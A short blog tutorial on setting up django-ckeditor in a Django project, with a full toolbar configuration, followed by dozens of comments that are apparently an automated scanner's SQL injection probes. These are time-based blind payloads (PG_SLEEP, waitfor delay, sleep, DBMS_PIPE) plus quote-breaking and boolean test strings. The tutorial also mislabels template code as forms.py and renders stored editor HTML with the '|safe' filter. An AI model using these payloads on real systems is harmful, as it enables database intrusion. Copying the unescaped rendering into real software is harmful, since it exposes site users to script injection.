Django Project Deploy in cpenal
Oct 20, 2022
CKEditor is a WYSIWYG HTML editor that can fit a wide range of use cases, from Word-like documents with large toolbars to simple toolbars with a limited Django admin CKEditor integration. Provides a RichTextField , RichTextUploadingField , CKEditorWidget and CKEditorUploadingWidget utilizing CKEditor. I customize this editor like Microaoft Office.
Here are the steps:
pip install django-ckeditor
In models.py
description = RichTextField(blank=True, null=True)
Change field
from ckeditor.fields import RichTextField
In Settings.py add
INSTALLED_APPS = [
'ckeditor',
]
In forms.py add
{% csrf_token %}
{{form.media}}
{{form.as_p}}
In templates add
{{article.description|safe}}
After that run
python manage
python manage.py makemigrations
python manage.py migrate
python manage.py runserver
For image in style
max-width: 100%;height: auto !important;
For more options add in setting.py
# CKEditor Config ---------------------------------------------
CKEDITOR_CONFIGS = {
'default': {
'skin': 'moono',
# 'skin': 'office2013',
'toolbar_Basic': [
['Source', '-', 'Bold', 'Italic']
],
'toolbar_YourCustomToolbarConfig': [
{'name': 'document', 'items': ['Source', '-', 'Save', 'NewPage', 'Preview', 'Print', '-', 'Templates']},
{'name': 'clipboard', 'items': ['Cut', 'Copy', 'Paste', 'PasteText', 'PasteFromWord', '-', 'Undo', 'Redo']},
{'name': 'editing', 'items': ['Find', 'Replace', '-', 'SelectAll']},
{'name': 'forms', 'items': ['Form', 'Checkbox', 'Radio', 'TextField', 'Textarea', 'Select', 'Button', 'ImageButton','HiddenField']},
'/', # put this to force next toolbar on new line
{'name': 'styles', 'items': ['Styles', 'Format', 'Font', 'FontSize']},
{'name': 'colors', 'items': ['TextColor', 'BGColor']},
{'name': 'insert', 'items': ['Image', 'Flash', 'Table', 'HorizontalRule', 'Smiley', 'SpecialChar', 'PageBreak', 'Iframe']},
{'name': 'tools', 'items': ['Maximize', 'ShowBlocks']},
{'name': 'yourcustomtools', 'items': ['Preview', ]},
{'name': 'about', 'items': ['About']},
'/',
{'name': 'basicstyles', 'items': ['Bold', 'Italic', 'Underline', 'Strike', 'Subscript', 'Superscript', '-', 'RemoveFormat']},
{'name': 'paragraph', 'items': ['NumberedList', 'BulletedList', '-', 'Outdent', 'Indent', '-', 'Blockquote', 'CreateDiv', '-', 'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock', '-', 'BidiLtr', 'BidiRtl','Language']},
{'name': 'extra', 'items': ['CodeSnippet', 'Mathjax', 'Embed', ],},
{'name': 'links', 'items': ['Link', 'Unlink', 'Anchor']},
],
'toolbar': 'YourCustomToolbarConfig', # put selected toolbar config here
# 'toolbarGroups': [{ 'name': 'document', 'groups': [ 'mode', 'document', 'doctools' ] }],
# 'height': 291,
# 'width': '100%',
# 'filebrowserWindowHeight': 725,
# 'filebrowserWindowWidth': 940,
# 'toolbarCanCollapse': True,
# 'mathJaxLib': '//cdn.mathjax.org/mathjax/2.2-latest/MathJax.js?config=TeX-AMS_HTML',
# ----------------------------------
# Class used inside span to render mathematical formulae using latex
'mathJaxClass': 'mathjax-latex',
# Mathjax library link to be used to render mathematical formulae
'mathJaxLib': 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS_SVG',
'tabSpaces': 4,
'extraPlugins': ','.join([
'uploadimage', # the upload image feature
# your extra plugins here
'div',
'autolink',
'autoembed',
'embedsemantic',
'autogrow',
# 'devtools',
'widget',
'lineutils',
'clipboard',
'dialog',
'dialogui',
'elementspath',
'mathjax', # Used to render mathematical formulae
'codesnippet', # Used to add code snippets
'image2', # Loads new and better image dialog
'embed', # Used for embedding media (YouTube/Slideshare etc)
'tableresize', # Used to allow resizing of columns in tables
]),
}
}
# CKEditor Config ---------------------------------------------
CKEditor will look like the image below:
Please share this page to friends.
Welcome to our Software Solutions Company, where we excel in transforming ideas into tangible realities. We have expertise in developing online management systems, website designing & development, software solutions, mobile app development, e-commerce solutions and graphic designing. We provide 24/7 services.
pHqghUme
Oct 29, 2024
@@pcN8o
pHqghUme
Oct 29, 2024
����%2527%2522\'\"
pHqghUme
Oct 29, 2024
'"
pHqghUme
Oct 29, 2024
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
Oct 29, 2024
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
Oct 29, 2024
Epd8NRs8')) OR 510=(SELECT 510 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
A1v2CoHl') OR 233=(SELECT 233 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
6tont1U1' OR 737=(SELECT 737 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1)) OR 239=(SELECT 239 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1) OR 527=(SELECT 527 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1 OR 247=(SELECT 247 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
0waU8tdt'; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1 waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1); waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
Oct 29, 2024
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
Oct 29, 2024
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
Oct 29, 2024
*if(now()=sysdate(),sleep(15),0)
pHqghUme
Oct 29, 2024
-1" OR 3+563-563-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1" OR 2+563-563-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 3+576-576-1=0+0+0+1 or '43bv0EGO'='
pHqghUme
Oct 29, 2024
-1' OR 2+576-576-1=0+0+0+1 or '43bv0EGO'='
pHqghUme
Oct 29, 2024
-1' OR 3+432-432-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 2+432-432-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 3+279-279-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 2+279-279-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 3+991-991-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 2+991-991-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
ekAQDhVP
pHqghUme
Oct 29, 2024
@@EVOdI
pHqghUme
Oct 29, 2024
����%2527%2522\'\"
pHqghUme
Oct 29, 2024
'"
pHqghUme
Oct 29, 2024
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
Oct 29, 2024
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
Oct 29, 2024
93qJMDIe')) OR 870=(SELECT 870 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
q8MQsihP') OR 97=(SELECT 97 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
YmXUdr9g' OR 620=(SELECT 620 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1)) OR 459=(SELECT 459 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1) OR 399=(SELECT 399 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1 OR 78=(SELECT 78 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
XXJXlRXV'; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1 waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1); waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
Oct 29, 2024
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
Oct 29, 2024
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
Oct 29, 2024
*if(now()=sysdate(),sleep(15),0)
pHqghUme
Oct 29, 2024
-1" OR 3+401-401-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1" OR 2+401-401-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 3+90-90-1=0+0+0+1 or 'wEcu3rGR'='
pHqghUme
Oct 29, 2024
-1' OR 2+90-90-1=0+0+0+1 or 'wEcu3rGR'='
pHqghUme
Oct 29, 2024
-1' OR 3+302-302-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 2+302-302-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 3+785-785-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 2+785-785-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 3+337-337-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 2+337-337-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
tI144VEe